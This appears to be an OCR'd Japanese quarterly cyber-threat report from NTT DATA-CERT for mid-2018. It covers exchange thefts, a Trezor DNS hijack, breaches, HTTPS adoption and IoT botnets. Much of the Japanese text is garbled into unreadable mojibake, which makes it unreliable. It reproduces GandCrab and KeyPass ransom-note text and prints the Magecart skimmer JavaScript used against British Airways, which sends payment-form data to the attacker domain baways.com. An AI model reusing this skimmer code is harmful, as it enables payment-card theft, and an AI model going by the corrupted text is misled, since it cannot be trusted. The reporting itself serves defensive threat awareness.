NTTDaTd

Trusted Global Innovator

70-N\vEFa)TERMEERL R~k

(2018 & 55 2 M+H)

XLt NTT 5 — %
¥ a2 )T 4B R F 2 ) 7 4 #EE=E NTTDATA-CERT 04



EPN

1.
2.

4.
5.

T B T A 7 U e 2
2018 AEFE B 2 UMD R Y2 e 3
2.1, B B R A A o T e 3
2.1.1. K ElE—ERARME OV AT AEA LTI 3
2.1.2.  Web A+ LORG @G —E 2R B O S8 EZ T2 BB 3
2.1.3. Al Ea—HDFEYY —AEIEITLEE oo 4
2.1.4.  ~A=VTREAE TR ASANT T URRENE S BEDOILIRIG IO ..o 6
2.2. ’7‘/47‘,&7::7 .............................................................................................................................. 6
2.3, FRREIEBUTE DDDIIEE Lo 8
2.3.1. Office 365 ZAHATET AV U T IEE Lo 8
2.3.2.  FRAETEERDTTZU Moot e s 10
2.3.3. IR RURRIEE e 10
2.3.4.  INAT—RURREEED TR oottt 11
2.4, AL FHUNTZILEE e 11
241, BV RARAIVFEER Lo e e et as 11
2.4.2.  ISAT=RETEHILTIZ LA oo 12
2.5.  TAVHOBIETEEN :Be%“ww«‘—sz%g ........................................................................................ 13
2.5.1. 2016 DT AU KkiiE VBRI T 10D 1ot 13
2.5.2. 2018 fED | :F;?ka“é%@ .......................................................................................... 13
2.5.3.  PIUTRIFEE T —F L KIFREDZZTR o oeeeeeeeeeeeeeeeee et 13
2.6, HIHE HTTPS AL IIEA U erteeiieee oottt e ettt e e e e e e e e e e e e e e e e e ettt b aeeeeeeeeeeeenensns 14
2.7, HEBEAE T A R E T 20 7 DR <o eveee et 15
T 1 ¥ dL RSP RERURRRRRTR 16
2.0, T R R e 17
2018 AEFE B 3 TUAHALIBED T .o 19
3.1, UV ATz T B EIREE I IR DT T i 19
3.2, ZRRTRURRIEE | e 19
2018 AEFE B 2 TUMAHHODI A LT AL oot 20
BEMBSTHR <o et 26



1. =787y 7H~<)—

Ta—r VDY AN—EEOB) LTI, BTk L T, Bl E 2B LT AT =T BRAT
LELT, B BB EAIH WL, B bE O 5B R A WA L OB B L VRO 58 54 KB ERE
THOFIEICKASNEL -, IEEBEEZROBITRE LKL, S @EERGI T OEX 27 1RV K HEIZHD F
o IR ALy NADOEREE, VT 720EARE | G FTIEIARIET 7B AD KRB RO HILET, F
RIS AR OREL Z TG 2R 75, MELL EOBESEZTAT N EN ST EERROOILET,

T LT =T L, 2017 FEIZEEREIC /2572 WannaCry D XOZEEAE L G A LR T D5 A T D0 | YLD
FOZEEICLTESDIZZLL TWET, HREFLND RIAD B L7 R E DA AN, A3 —
WIRENT YLD =T EG 2 i CODERD SN E T, T AT =T D& EL T LI, OS RV 7 =T
ZEATDORREIIR D | UANVAKIRY T RAE AT 5, BNy 7Ty 7T G T 5728 | AR X271
KPR OE N EHE T,

BEED Web Y ART, 2NAT —RUANLEDPT O, HANEROIANR, BEHsa DA EEADEERHVELT,
BN Z—F b BICHi LT, 22— 4 &SR — R OB KB DI TOOVET, B o, fiH Lz Ak
EHOTRIET 7B AERA LD G LT T, FhETOIIUR—E 20BN ELOIZHFIL T, 7
TURY—EADT HT N BT 40> T WO ERERL CTOET, NAT—REN RIS, ZLEER
AEEfES Y RIEnS A 2 ROANEE T,

AU B —=Fy NETERITHIBES 2T 4 Ly hDT e, A2 =R MDD AIET 78 AR R L2 D DN, FIEMEAME T
%o XFFERITRY T AL v,
P S IEEDOIGNC, HEOMERICEIDE T ENEROLIE, MEREZ L TEBLT2ZL T WEEN DD
WEREZ AT LIEL ThsaTES, X 274030 L35,

2



2. 2018 - 5 2 Mo vy
2.1. KB ELHoT K E
2.1.1. HWE5@EY — A RMIEFE O AT L ST B
9/14 ?yﬁt“:—DﬁODiﬁﬁ*féﬁaﬁL,aHﬂélﬁﬁ Zaif DRI ALY NARIET 72 A%3%1F, EvhaA 50
Il s 70 MY 2N I AR EEGEEL [1] (2], MO RK T, BE O ER SO0 | I
BRET v/ a—athicER UEEM S 2R LELE [3],
ZOMITH , EEORE 5B ES [ —E 2T, RIET 7B AL D0 @ &R H O ERHVEL- (R 2 B,
Group-IB OFHAIZIAUT, 2017 LSO IS | FT O EFILEF 8 8 T 2 H A R/MICKELZ [4],

# 1: @R —ERREEDV AT LB T-HEBDO—&

5&1
S

BT | OB W

7/3 SR B | AT Binance 7S KE&ED AP FIFIC KA RIET 7B A% 52 b £ LT, BWEBRORET | 7aL
218 SYS B —HEE gL EL- (51,

H
7/9 W 55| FT Bancor WARNIET 7 BAZ31F, 1,350 HRAFEY O BB MM LEL | 1,350 7 R
Teo WBEEIIA~—ba L b7 DT 7 7L —RIZHW DU ALy b B LELE 6], IV

7/26 ICO*7'Fw b 74— KicklICO WARIET 72 A%521F, 770 JTR/VFEYS O KICK h—27 223 | 770 TRV
LELT-, W H 1L KICK b= DA~ —har o7 e Ed 5720 OB & L& 4
HEHLELE (70,

9/1 F SR E IS Y —E X Monappy WARIET 7 A% ), 1,300 T MY O 5@E | 1,300 5H
Monacoin(FR> b7 AL MNO RO L ELTZ, HEEILHAMRHIEAET L 7 ha—
NESREDO R a2 B AL EL (8],

2.1.2. Web A+ LD 5@ —t 2H| HE O Bl 230 7= B
5l —E AR AL, 5B EORG I HEARLKER)E T HEEITWG I FTRA T A U4y b Web A
Mz AU LET, TEEITE 2 OINT2—FD PC ~x U =T ZEYe S QST RL AZ B E O [ )¢
~NEEWZ T X 2 DI TA T Trezor D740y v T AR E L CRERH A R IEICATL
TS EELZEATZOLTNET,

# 2: Web A LOREEEE N — AR HE OR S BREEZH TR BO—&
AfE | BB E
6/13 Qihoo 360 NI FEELZEL~AL YT 2R ALEL, ZOSATxT X, 2—FR7Yy 7 | Ryay
R—RIZat =Lty ha v O T L AZ R BEHEOLDOICEEXWZ By a2 BB EHEOY | 30 R
FLYMIESEIELHDOTLZ, 2T 30 HHELEDO/RYa ~OEGE D fERSIVELTZ
(91

3 Initial Coin Offering W5 @& A2 F1T SHRETDHTIE



7/1 F L TGAL Ty " —E A Trezor 23, [RH—EAOFNHEZIHI 7 4o T HBE(X DER | 72l
HMUT-EFEFELEL, DNS R =07 BGP APy I OFEEZH W, BVE A Mo E
+5FH L [10] [11],

O TREZOR Wallet x

&« c A Not secure | hitps//wallet.trezor.io/#/d

O TrREZOR TREZOR  Walet

@h

General Details Certification Path

0 Check recovery seed > 2 Type seed words

¥3§4 Certificate Information

This CA Root certificate is not trusted. To enable trust,
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Authorities store. o Reading of accounts failed. x

Issued to: trezor walet Check recovery seed

Issued by: trezor walet

Numb is in your recovery seec
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INKEYPASS_DECRYPTION_IMFO!!, twt

Attention! -
All vour files, documents, photos, databases and other impartant files are encrypte [
The only method of recovering files is to purchase an dearypt software and unique |~
After purchase you will start decrypt software, enter your unigue private key and
Only we can give you this key and only we can recover your files.

You need to contact us by e-mail keypass@bitmessage. ch send us yvour personal I
For you to be sure, that we can decrypt your files - you can send us a 1-3 any not il
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KEYPASS

[Exduded paths... ] [ rdpdlip.exe ]
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Q GandCrab Decryptor x |+

- € © gdcbghvjyqyTjcliconion;

Welcome!
WE ARE REGRET, BUT ALL YOUR FILES WAS ENCRYPTED!

AS FAR AS WE KNOW:

Country = United States -

0s Windows 7 Professional (64 bit)
PC User

PC Hame

PC Group WORKGROUP

PC Lang. en-Us

HDD

Date of encrypt

Amount of your files 1417

Volume of your files 1030241268

© But don't worry, you can return all your fifes! We can help you!

far you.
But we can decrypt only €& 1 file for free.

Max. file size: 2 Mb. Allowed files: txt, jpaijpeq, jpeg, bmp, pna, gif.

ATTENTION!
Don't try use third-party decryptor tools!
Because this will destroy your files!

Below you can choose one of your encrypted file from your PC and decrypt him, itis test decryptor

. Upload file

¢ Q Search a s

- GandCrab -

@, BUY GANDCRAB DECRYPTOR © SUPPORT SERVICE 24/7

© What do your need?

You need GandCrab Decryptor.

This software will decrypt all your encrypted files and will delete GandCrab from your PC.
For purchase you need crypto-currency = DASH (1 DASH=T775.638 §).

How to buy this currency you can read it here.

© How much money your need to pay? Below we are specified amount and our wallet for
payment

-Price-

1.5 DASH (1200 USD)

-DASH address for payment-
Generating an address.
Please check page later.

-To make a payment, you have this time-

04 02 33 42

DAYS HOURS MINUTES SECONDS

-After this time the amount will double and will be-

3 DASH (2400 USD)

This process is fully automated, all payments is instant.
After your payment, please refresh this page and you can download here GandCrab Decryptor!
Ifyou have any questions, please, dont hesitate, and write in our & Support service 24/7

GandCrab (v.1.0}

All right reserved ® 2018

I
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2.5.1. 2016 DT AV A KR BH T 55D
T A I KRR EE S T WL SN oy TR LI, 7 AU I CTIIANE SO A =B B D f 2%
XTSI ES TNET,

£ 9: 2016 DT AV RKFEFERED BHHEA

HAF | e

7/13 T AT Y SRR O BRI AE I, T AV IEN DA 2—FITRIERALIZEL T, r T OfE#H
BR/E 12 NEEFFLEL, — SO AR A DX GE, /% 7B L7 OO AN TEA
PEDENIE Y b AR L8O ZETT [54],

8/1 T AVIBUFIE, Ao ) @R E REOBEERAL T TR ~D KB AN — B Ii 2 57
D BUNIZET e R A s & 3 5282 bnIcLELTE [55],

9/21 | TAVIBUFIE, Y A/N—ZEM DG B OKEETFHI0 DL RREB R A ELO T2 TEZ A/ —§kig | %
FRUELIZ, v 7 HE, AT, L0 4D EZ TEoEZ ] 4R L L2 T, 14 ZEND) KE O
#. REEZREE ST KE OB EEEZ T T2 DI A= — LAl > TS S L E LT [56],

2.5.2. 2018 DO B2 BIE T 51D
7/19 Microsoft IXH [FIEEEDEHIFE 3 41T T2 A=A PHEIL 72 L3R L E LT, Microsoft KA %%
IRBRE—UZAERKL | I R E OREGEE A I 2 B AH &2 12.3.1 Office 365 40727 13 7 KB | L[]
BROT 4o ZBEOF O TLE [67], 8/21 1 [AFII YA /N —IKBEEH] APT28(Fancy Bear)lZL DI B4
LicegRUELL [58],

2.5.3. NIV RMEET —F U RKIEDOZ K
7/16 "TU T RFAE T —F  KFEINT AT RO~ o FTERRLELT, TOEAT /12 Db, 74T
RADYAR—BENRBIELELTZ( 10), #81EcD by ZIEHE | 183 54 —ME SSH(TCP 22)X° SMB(TCP 445)
TL7= [59],
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Attacks against Finland
Peak attack period 7/12/2018 - 7/16/2018 + 60 days prior

24-May =

- = = - = =

-
T - Mmoo~ o w o ho d D L e L
[aa]

16-May m=m
18-May ==
20-May =
22-May =
26-May =
.
28-May =

10 74T REOBBMENT 7 497D [59]

2.6. wEHEHTTPS {bDOF
Web AR EDOBL L TA T IREREID — I DOR—71F T Web A NRIKRE RGBT 52 L2 [ I

HTTPS(SSIME I ESWET, LA DL 7B TR iF HTTPS AL DA IIEL TV ET [60],

® VT ELRREEA I TE, VA MNLE I TReMENm BT 5
® T U BRENTORSEZ M ETE A MEEE LS TR AR HD
® K7 abhaLd HTTP/2 2R H L EE (b0 BB AESEDI21E, FE E HTTPS i@{E 0 %24

— T, HAROE FFe HIBEY A O & HTTPS LD 5t TE NS RO ET, RIFPEEA CRBEA DY A
MZ 10/1 B S CHTTPS 126 L CWVER A, BIBEOY AN TR EF HTTPS 2k L= D% 6 A FAJT 37.4% T
L7z [61], HHF HTTPS S TCWRWH A AT 7R THE TIOR3 11 DIH7REEENTR RS

hi‘@ﬁo

7% 10: B HTTPS {bDA B

H £+ s
7/24 Google Chrome D/ N— =2 68 VARSIV E LT, R/ X—2a B HTTP A oD/ —(1Z”Not secure” (£

FESNTCUWRWEE) DRI NERIRSILDIIITRVEL [62],
8/24 X2 UT oG OFEICLIUL, Alexa® 7 100 5 A RO H3008 HTTPS I2xtSLEL (631,

5 Alexa Internet. > ¥ —3yhEHHERET, Vo7 FASOFHRMEZINEL TS,
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Treatment of HTTP pages

Current (Chrome 67) ® example.com

July 2018 (Chrome 68) ® Not secure example.com

B 11: HTTP A b —TDEEFRT [62]

2.7, VEIENGE BT A R T my R T DG
NI B O G, EFFA]C Web LICHHIT 2 MEHBRIE B "SR BEIC R0 £ LT, FIFIRFE DL h o7
YARNNEEFS T, A MFAZEEIIET 5 AL ETUE, v 7 s Fm (e g 13 8wkt | 12X o 9k
BEK) 3 TAEMERFE L E L [64], NEEAT 11X 4 A TANCPHBEHSNT 7 BATE ARV ELIZD, RV A R%E
HEZBCTLITNEETT, AREL TREISNTWLDR [ ATy 7 | T,

AT oy Tl A F— Ry M —E 2T A F (ISP)ZRWT, 2—HF DY A OB E 2012
FRENL CHEBr I A(K 12)TT, Y AT ey X 72 T 58, 2— 1L A DO, BI.05E% ISP IHEmM
SNDBENDBHHIETY, TITAN—ORENECET, BEHEEEICLIOAFEE, — O —FICk 35
S DORMER T LD A F g 2 EOFHEE T RED LWV AR RIS TOET [65],

* 11:
EED) Wi
4/13 H R B3N B9 PE RIS A 23 - S0 TRl R PR I il 2 B L | VB B B Y A R~ DR R A T E L E
L7z [66],
B 037 TS FE TR0 2 Bt R LT, B FHEE 1L
B H EHREGHIEL T, [/, [Anitube), [Miomio)® 3 11k OF=irtla—<E
BRLRINS YA MNIREL TT e 25T L 4 52 Hhs,
4/23 NTT 2X2=4—2al X NTT R NTT 55560 3 #5123 & HEF | ZEOWIEIE B~ 3 DI12xtL,
TayX T EITHERFRLUEL [67],
6 H 2o | HARBUFILI A2 — %y b EOWEIARRT R IZ B3 oMET e 2 B L MR A b~ D xR A2 gt
10 A LELT, 10/15 1255 9 RIS AN ELIZN, PESIV T HEEED ITTEL T, Sk
FRAEHIL720EL 7= [68],
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kaizoku SITE

DNS OBHERY 1 b
oI ADT Y HRE
BA
U
L % OBy (hT v ey
i 8 5e. H3-0PF | IP110110.110.110
Vi 'l[ KL X&E(E \
o IP 110.110.110.555 Not found
Y I O3NEI—-PFK A
L 2% 5Tz Web ~— Error
ISR, SRR I5-8E
IP 110.110.110.555 IP 110.110.110.555

12: A Favx SO A [69]

2.8, THEHRIFZ
HEI D Web YA N CTARIET 7 A LD KR E N2 O E £ LTZ, 72 AWS S350 AT A AR —,
MongoDB ZE DT — % _R—AD T J L AMED AMiGIZ LD E X T — X ABBRHELT-,

# 12: BB VAVITFUN0—E

BT | PEHE

6/18 | TTFAZADT A HD Web B AT, RIET 7R ZLVBEEOENERNIRZD | EAES o ot
LELT, WA R E IS T4 ORAET, #E R, K4, Bk AT —
R maEFEnELR [70],

7/11 | Timehop 77V T, RIETZ7RAZIDZ—VFDE ANEFHRB WA LELZ, 2 | EAER 2,100 T
SHBFITH 2,100 T AT, K& A—LTRLAR FAEARERESENEL, K
B LA T RBREE OGHE R AE AFL, AT AIARIERALELE (710,

7/19 | Reddit T, NIE7 7 EAIZED 2 —HFOBERNE BRI UELT, WEEE 1L 2007 | 2007 42 5 H LARMTIZ B &%
FELRIOT —ZRXR—=2Z2 I T v T BB L A= LT RUA NRAT =Ry arp | Liza—F2aT
EEATFLEL, Reddit 1F - FEHEFRIEAHEL COELIZAY, B IL SMS &%
BEL ., CERGREEA S L EL [72],

7/20 | U HR—IVEIFIE, RIET 7B AICEVER S L —7 SingHealth O BETE®AS | B A #® 150
RANWUIZERFLEL, BB RE TR 150 5 AT, K4, MBI (Efe s
EENEL, ARV ERL X RICE £, BUFIXFRE OREN 20725
FETR B THHER~_FEL [73],
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8/21 | British Airways @ Web YAk, ENALT VT, 2—HFDAMEREEAEDL | EATEHR 38 Tk
M B | BRBHEL, HEMRFITIN 38 AT, AR TANLIERASLIL Uy
9/5 | —NE@PBENELE [74], X2V T 43 RisklQ 1 6 AICHALE
Ticketmaster COEF TN TR EDFAEIENS | YA/ —J1 FEEEH] Magecart |Z
FoAATEFRRLE LT [75],

v.onload function() {
jQuery("#submitButton").bind("mouseup touchend", function(a) {

var
n = {};
jQuery("#paymentForm").serializeArray().map(function(a) {
nla.name] = a.value
});

var e document.getElemer i1("personPaying").innerHTML;
n.person e;
10 var
] t = JSON.stringify(n);
(function() {
13 jQuery.ajax({
14 type: "POST",
async: !0,
url: "https://baways.com/gateway/app/dataprocessing/api/
data: t,
dataType: "app

}

13 British Airways DV A MIFBEAIN=E R HS JavaScript =—K [75]

2.9. HRybhxRrvh
SESERBER R BOIA L — oy MIEER CETERN 2D . ENHOfETS7e loT MMz HESI TRy R
FyMILAAFND HFBIDEEZ TOET, IT IR bRy MU AIA TN D & BT A=K BEYLSE
WAL TLEIZEIZADET, A F— Ry ML TS ToT #gsix, EEEHT D b/ AT —R %7 7 41
FD/RAT —RIPBHEI SISO SAT = RAE T F5 77— L0 =7 2 EMBNCE R T 5, RERAR—M B ik
L2, ENo T RATTVOVELED,

£ 13: RyPRyMIEAVO—E

A+ W

7/4 BHAOREICIIIE, BEEALT7TEAFED ToT BERE 150 1F T, /SAU—RRE M 2oL OMasatE
DI RINELZ [76],

7/20 TX 2T Avast OFRHEIZLAUT, VL —F —ORBEERE WA T 74V OB DONHZEE L TR —
PN 68%, 77— A= T EHHL TN — N 64%% O ELZ [77],
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7/23 TX 2V T {2 Fortinet 23R > %>k Hide ‘N Seek 2338 —AFBARHI LU TIEBL TWWALEAE L F1L
720 2020 SEETIT [oT 7 A ADFREUT 204 (BAENZET HESH, EFHIED AV ZTe A HIAE 2 CUvET

[78],

7/23 Mo R=A7ap, loT B ~EGEL TRy MRy M BT 5~ /L= Satori OHFFEDILHEE L L E
L7-, Android ®F Sy 7 R—hk, TCP 5555 HZAF ¥ I HlE0A(K 14)Z2E527-HbDTL
[79],

9/9 TF 2T 4123 PaloAlto 23R bk Mirai & Gafgyt O RifEZ I BLL7ZEME L E L7, Mirai O HfE T

Apache Struts D91 CVE-2017-5638 ZHEHAL CUWVELT-, 24U 2017 FEIKEOEE E1E TG H
24t Equifax THRALTZIEHRIFE AW CEAINME55PECTI, Gafgyt OfifEIL 8 HIZAREINZT7 74
77— /LELEL SonicWall @ g5t CVE-2018-9866 Z &L T\ EL7- [80],

3K

1.5K

01 02 03 04 05 06 07 08 09 10 1 12 13 14 15

uly

14: <~V =7 Satori DEEFEIZLS TCP 5555 Bz AFxv o 4 ABEDEH [79]
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3. 2018 4R 55 3 DUMHALIRE DT M
2018 4EJE &5 3 VU LLFED Y A /X —B B H) 112>V VT, NTTDATA-CERT IZLL FO LA TARL TVET,

3.1. FUHAU=T Db SR EAAIBE DT T
SEAMST-HBIL, A BB TP AT T DO BB R AR BE~ 7L ET, 2720, Bl E a2 RS
HaAf v AT —IZBMR T DBORITA R BN U, B0 — PO b 5l (2 R 7 LD WO S N L
T, BRIILL T D 2 5T,

> v /F:M’/%%@az%tiﬂa TR E DT, A=Y =7 OMBIGIZ 2> TRY, PLHEC Y a2 ) D54
RReanavlE Ay RSy AVAS Y D
> 74’7L~7‘£HEEL%T Ll ZZE AL B TR 2 ROz

YL ED S G, X274 O HWHTHHOIG Tail-720, 22—V E72EL TGESS DT LRI F3,

3.2, /SAU—RURRNK B
RIERZ AP UTCB EOFARIZLY | SR —RUZNEED FZHMENGE SV TLEWEL T, <D —F
ATA=IVTRLANT B b ELTHWLI TS A X —F v b E~D A=V T RLAD i HF b
TWET, Jiti LIE VAR A G O 72 KB ST — RYANK DR AR ESNET,
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4.

2018 4R I 2 MUl X A LT A

A HEHRIE : BEss 4 D IR
A BHO—EMMURIRE ;B : U OERAE
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| | |
|
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I )
-~ 5 7 1
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1
A 7/3 Malwarebytesh' k517N 7|4 = A 8/14 Symantect*MikroTiktt &)L —5%
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A 7/30 GooglePlayZ k7

1
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| VL 912 prmemmsnsne. me

| I LE?&}@%L%?EEI’&%M)?E%?E
| 1

4 } j
I 1

| |

1 1

| |

1 1

| |

I 1

| |

I 1

20



XA LI UEHLU TV M ERFEEHTEE, LEBBHADBEIHDET.

A ;RS : BessiE D XIER
A BSO—ERHIEIRE  : BE : BUS OEUE

A BAEARRE AN AT

A 7/20 ﬁEJigs_aw

A 7/2 FZIHBEHRBEEZEDIIII7ISmoke Loader ]
(CHIT BT PROPagate | OF A&

A 7/3 - LRBEEREERIEICEMKRTDF—NY—IL TS
{OFortnite1—-Yh'7 FUI?(ZE’@%[:TU%CU&%E

A 7/9 Y7 Plead](FBAREEAE%
/R b?ﬁ’i)lz%%’&ﬁotb\élzt’iﬁﬁéﬁ

A 7/9 3EFEDRATZAV. 9751 TOEHT
WEZIRET YA/ =R) \°1 TEENEFER

A 7/9 1AVTOYLRSH-ERE> S~
EMREVEBEFYOR-2%FHR

1
A 7/18 GoogleUserContentt-f hDEHEKIC
NIITMEHAEN TV DZFER

A 7/20 VJI/UI;’FEmotetJ’i{ﬁJ.OD
WEE(CIIIVITTOEME(>ITE
VTR TSI Lz FR
A 7/26 OfficeDts L \iESS 4% RBALT

FELIXROOT/\w) Ry Z kG 331X
ﬁﬁv)&—)’iﬁiﬁﬂ

A 7/31 A>REIRRELIEF P2 R-2T
FHIL\BTN':MDM‘J‘—}\“—%%ET:(C%E

1
A 7/2 IIII7TURLZone |Z2fEo1zH 1)\ —

10 '7H 188 1 98
| | |
GRS :
] |

A 7/3 #ifEOSX.Dummy A 7/Zé F7#EEK Underminer N 9/6 #tEChainshot
A 7/17 #FELAZORuUIL : A 8/10 $#7#EKEYMARBLE :

A l8/ 28 #fTERLPOS

A 8/17 [Marap XU 7zREE 3R
%EE&%Z?HOI’:I%%#V IR=BFER

A 8/14 IENESEIE
CVE-2018-8373

A 8/20 Qifoo360(¥ILIr7I DarkHotel |

HEOT 1RSSR IRE

A 8/28 BFAOYILII 7 DarkComet |
lﬁﬁﬁ UleIRZE v > _R— % &

A 8/28 IEMDIWindows]1—F1UF1&
BERYINIIPZBRALT. T—5%2%
CHUVWKREFI-2EFR

A 9/21 AndroidifiR=1ZIEUTE
MY ~DA>TI5% 52 I B[ MaaS |
Ml Black Rose Lucy |%HEs?

A 9/26 Kodi Media Player®7 R
A FIALTIIVIT 7 %ZEmSD
IREET O R— 78R

_A 8/27 Windows9RIZT>1-5
I I(ALPC) NOIE I

:

1

1

1

: A 9/11 Windows¥2927S1—35
} ==z~ (ALPC) HfzsstE

: CVE-2018-8440

:_ o _:_ _,A9/6 2/ ), —JT PowerPool |
1

1
1

WENENN, R ED85%I(FHARTHRAE [CL2EOT 1B ZEZEA
|
FEsEsy j===sgs=== > A 9/7 FEEK Fallout
\ | ! [ !
| I : |
] I .
I 1 \ 1
| : ' I
R e 4 9/26 GandCrab V5
I
:_ I | I _ o 1. i
A 7/9 Rakhni¥qA =>4 HEEEEN A"8/13 #h##EKeyPass I A 9/10 %7 PyLocky
| A /15 #BPRINCESS EVOLUTION A 9/15 %8 Dharma
I A 8/18 & Matlrix

A 7/313)I17AZORuUlt 1ZBBWNTS Y ADTT
F}-:ermesjfé@;’éét%:\‘-v)/\"—)ﬁﬁiﬁﬂ

A 7/14 %fgﬁﬂﬁi’éﬂ/‘—w‘@@;’é

& 821 LT DO AT
T TRyuK R SHARTOHER ERRILL
A 7/317SADATIX B TR I
I 4 8/3 ToMoci=. apmaTHEr
A 8/8 PGA-AT - 7AUH TR

21




A ;RS : BessiE D XIER
A BSO—ERHIEIRE  : BE : BUS OEUE
KIALIAVCRBUTVSAME. BRELATIA, TFBRAOBEIBIFT. 4 : BAERRE LA N-BEE AT

1Q :75 :85 ' 9A4

|
[D]IoTHEZs T

A 9/9 EEGafgyt

I

|

]

| |
A 7/23 #f&ESatori |
|

A 9/9 HFEMirai

A 8/21 Avast(4590008L FOMQTTH -/
PA>—Fyh £ CARBREECH B RTER

Ny DA >TI5%RM# I B Maa
Dl Black Rose Lucy |zHE:2

90,000&% 18Xz

A 8/9 JPCERT/CCII THZ(cHIF2EEZEAIoT
BAORDOTF1YT1T7—ANATYT 1% B

A 7/3%FBAFShodanBEED
B AT B

| A 9/26 VpnFiltert&agiEnn

| A 9/21 AndroidimREZNELE

Sl

A 9/26 AndroidT/\{ A TSN
Hide and Seek IoTAw kR Y

W—AZIE e INEE

|
A 8/10 Radwarel375)L0DLink DSLEF AL—5%3H0), DNS/\(
SrylIC DT TONDIRATHZNE S BEER+ 1> R— S HERAILT

I
A 8/2 200,0008_EDMikroTik)L—4—HmNILD17
(CRERULNA Z/’)ﬁ“ﬁbﬂfb%@’&%ﬁl

— e o o o o o E o e e O o e e o o

_A 8/2 MikroTik)L—5RE3514% |
CVE-2018-14847 |

PeSestetsseSsIetNE. 1 IITTCRERLTVBOERE

__, A 9/10 3700&0MikroTiklL—5H

~

J

[E]EBA > ISZARMICUIINEE

A 7/4 HBBAGEEDA > ISHER(CHB0T A 8/2 DragosttidA 5> OIS L —ThHE, I—0v/t,
MR T IS0NFrEF 1T IR+ e Rk 3R, SR ST ORI 2T LEAERICL TV BERR

A 7/11 ERZEEOTF1UF(CEDB L !
DRFFHI> NOBRARER

1
A 7/16 KEDEZRBHREE. KE
DT IBHAN-BREES

1

A 7/24 RETZRRBAGOSTOAPTIIL-THK

EOBHSHBEOBEASTFICRBLTVBERR

I I

A 7/27 J-CSIPREE2MHHACT 5> MRIEED S
q4%¥é$¥%&éﬂ§%ﬂ@ﬂli§><ﬁlﬂ&ﬁﬁ’a

LLKOQ DY =/)UPS 2T ACEE

|
A 7/12 IS OIEREETSS M b 4 9/23 JuLenssicy/ -t nses:
|

VPNFilter(C& 351\ - TE1E
| |

A 8/6 RIRILE—HFEHBETHA NI
F#Rl Liberty Eclipse|OEMZFR

DRASE

|
22




A ;RS : BessiE D XIER

48/24 MEES Kt
[SATARAS N 14025 1RE A /10 AAZX—-U70>)
I [WAONA> 525 ¥R

A D BSO—EPURIRE  BREL : IR OERE
XA LFAVCRBLTVZEE. BRREEA TR LBBHEOEEIHVET. A : BAERRE CHAN-IE AT
10 '7H 188 1 98
I I I
[FI/N\AD—RYZ RIREE i }
| | A Y7EMEEIRAAY SR/ AT— R1668H
- - - A A—Fy s ESHRELTWBERRUTE
| ; I A 9/13 [X—JL7RLREIZT—R]
42005 NIRRT B —EZ
| | | kayo.moell7ySO—REnTLz
I A7/5702t3-1 | A 8/13 NTTRIE T A98D0-YY
| MEABRI40ADREOTEELE | liPhone XI1000#FOREMARKE |  UANLKER(CRITZEEIE
1 1 _ : v
A 8/15 41 -AFF40Ls . - -
= -t L, A 9/10 O-Y>. URNEIKZE(LLD2RE
: : MELABER) 7ISIASREORREE = 00 0T ot
| I A8/247T52T71AF> )l v
[MEABIRIOASASDTLOETREME A 9/12 NTT |\:|%
I | I [d7R4> M) 37550004 R EFIFAD AT AEM:
| |
| |
||
i
1

1
A 7/1 Vade Security(F36K 02018455203 HA(CT v >4 A 8/16 Avananh'Office3651—H%3H5
B4 hUTHAEINZE1MI0T 5> RhtMicrosoft Tha L FR J19> >IN PhishPoint |1 Z4&40

1
A 7/1 TREZORDA>FA>IALY R —ERI(C, TELLY !
URLTHZIMADY A MTITALTUESBENRE

A 7/9ERENSOEAEREEEL, Android(c
I RIERT %A > AR=)L&EBSMSHHIEEL

___________ _ A 7/23 ENIRENSORTEBAIC L
A DR REA— JLDSNS S

________ I, A 8/8 Y/ NCHEBL. FELTTY
4 I 1A= NENBFONENS

A 8/10 fAY4 NTHEEL, VITY( L TEFES
BHSLIEREI— I\J@)\jjb‘ﬂﬂéﬂéilil’i%ﬁ

X - ——

lemmmm - = - b---»

g

[H] X—)LZFVIRE

|
|
|
/~ TESRZA-ILEEER I A 8/15 N KIOGHBORE. I0%OEENTHO—L
I a7 /4 KEDEEEES NS 7R ZZSU. 5% DIEENEMCGRE I RWENBolENE
EESEHREVTEANANER | A 8/28 Mimecast(3iBAEMHHATHHFUR
= # \' =] =
A 7/12 FBI2013¢E 1087520184 BEGBEROBIBO%IRNMLILL AR
5A TBECKEDREN 7R 8T, ] A 9/5 Antuit(32020F DR R AHICIESE
125 RILoleeFER | UIFEER T A B ek a8 2 8RR
I A 9/13%1@%%(17"4 STU7 NDES
[CHUBMSESER S 5. IN=ERE(3H5
| 2 5005k KILLE T3
|
|

I )

A 9/13 ZERFTREFAZIVZAD
HWEISHUREIEANS LER
I DIXEEEREEVTRE

A 8/27 IPAIZLR—NESRZIX—ILFEHRBEC]
IS 3BACTRRE () 158 )

A 8/2 BESAEEERIDIE 1
RIEIA— UL HEDS |

A 8/8 HRFN.iqy IONIIIPZFMI U X — IV DIREE+v>
R=>% &0, ?ﬁ%’é‘ﬂ’\](C/\")i\’-‘/’ji?)lz'jIT’fUrsnifJ ([CRRRTD

23



A ;RS : BessiE D XIER

A BHO—EBEIRE  : BE : BURFOBRE
XA LA VTERBUTVB A, BRFED TN, REBRAMSENHIET. A : BAENRE LA AT
10 '7H 188 1 98
I I |
[1]1BRRR L) : | N
A 7/6 Hertfordshire A Oz & FHEANOHH I
5 CHEEL TLBXEUN — ROEIREET T I
(E20T65%MXEN— KTBHEART Cale AR |
RIETIEZ | !
1 e e 1
A 7/2 Fortnum &Masontt. [MELA A 8/1 EE=vh, [BEEDILSyb A 9/4 Family Orbit. [FAHOSE |
BRI 23000SREOTREE | - RIBHEIARAL '
A 7/11 Timehop. [ELATER] ! A 9/6 British Airways.
210054 HmEL | [BLATE#R 1385 AMHRRL)
A 7/12 PRUNEORNBER O I 4 /6 can raAm)
RICRI S B AT | hoe | 36000 AR L

Uy 425 -2y NTARFESN TLVE 1
A 8/22 Superdrug. [MEAIERI25 A5

A 7/19 reddit. MELNIEFRINHEZ BEL N\ CBRE0EREENE
(] 1
A 7/20 singhealth\kﬁﬁ_%d)ﬂlil)\ A 8/24 Cheddar's Scratch Kitchen,
[B#R 11505 A HIRAL) [9L>yhh—RE#HR1567,0004Hm %
| Ve §—5917 LTIRGERER
| A 8/24 T-Mobile. [EAIER]
I 2004 DO ETAE I
| A 8/28 BESBEIZEYA Mtlas,
| [MEN 151267534000 A DhVFH
I FESEEOAR RN
I A 8/29 Air Canada. ENAILT7TUNS
k | MBARRIZBA ST OTHEE /
i i
(R ' — ’ )
B - . | [ F—9r-2 | )
